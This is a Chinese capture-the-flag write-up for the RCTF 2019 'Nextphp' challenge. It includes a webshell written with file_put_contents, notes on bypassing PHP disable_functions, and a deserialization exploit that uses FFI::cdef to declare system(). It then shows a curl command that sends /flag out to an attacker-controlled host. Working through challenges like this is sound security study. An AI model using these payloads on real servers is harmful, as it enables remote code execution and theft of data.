php算法刷题网站,刷题[RCTF 2019]Nextphp

解题思路

打开发现,???,这么简单嘛,直接一句话写shell

file_put_contents('1.php','');

蚁剑连接,???,就这?

好吧,只有当前目录的权限,看preload.php,看着是反序列化了

我懒,不想看序列化,不过感觉是都被禁了,没啥用

bypass_diasble_function

1.LD_PRELOAD

mail,putenv,error_log全被禁了,打扰了

2.**Apache Mod CGI **

没开,打扰了

3.FFI

(关于ffi在我此前的博文中有介绍,这里就不再详细说了)

核心思想:

实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

即先声明后调用

正好版本是php7.4,也就只有这个了

我一开始发现可以直接写文件,为啥不直接写呢。直接把preload.php中的内容给删除了,直接写

网页的内容是 karsa("system('cat /flag')");

好像并没有成功执行,我本地最高只有7.2的php版本,不能本地测试了。查一波手册

默认情况下,FFI API只能在CLI脚本和预加载的PHP文件中使用。

又看到mochazz师傅说的

在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

看来是无法在web端利用了

代码审计

final class A implements Serializable {

protected $data = [

'ret' => null,

'func' => 'print_r',

'arg' => '1'

];

private function run () {

$this->data['ret'] = $this->data['func']($this->data['arg']);

}

public function __serialize(): array {

return $this->data;

}

public function __unserialize(array $data) {

array_merge($this->data, $data);

$this->run();

}

public function serialize (): string {

return serialize($this->data);

}

public function unserialize($payload) {

$this->data = unserialize($payload);

$this->run();

}

public function __get ($key) {

return $this->data[$key];

}

public function __set ($key, $value) {

throw new \Exception('No implemented');

}

public function __construct () {

throw new \Exception('No implemented');

}

}

本程序中并没有用户传参,还是需要从index.php中传参进去,反序列化。所以去掉多余的函数,编写exp

本来想只留三个属性的,发现无法序列化,缺少方法,serialize和unserialize。补上

final class A implements Serializable {

protected $data = [

'ret' => null,

'func' => 'FFI::cdef',

'arg' => 'int system(const char *command);' //声明

];

public function serialize (): string {

return serialize($this->data);

}

public function unserialize($payload) {

$this->data = unserialize($payload);

}

}

$a = new A();

$b = serialize($a);

echo $b;

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用 __destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。

C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

上述代码实现声明

FFI::cdef("int system(const char *command);")

所以现在只需调用即可

所以现在只要反序列化上面的payload,即可建立一个system函数,

->__serialize()['ret']->system('curl -d @/flag linux靶机的ip')

buu题目只能访问内网!!!!!

xshell连接linux靶机,查询本机ip地址后,放在上面的payload中,监听

你可能感兴趣的:(php算法刷题网站)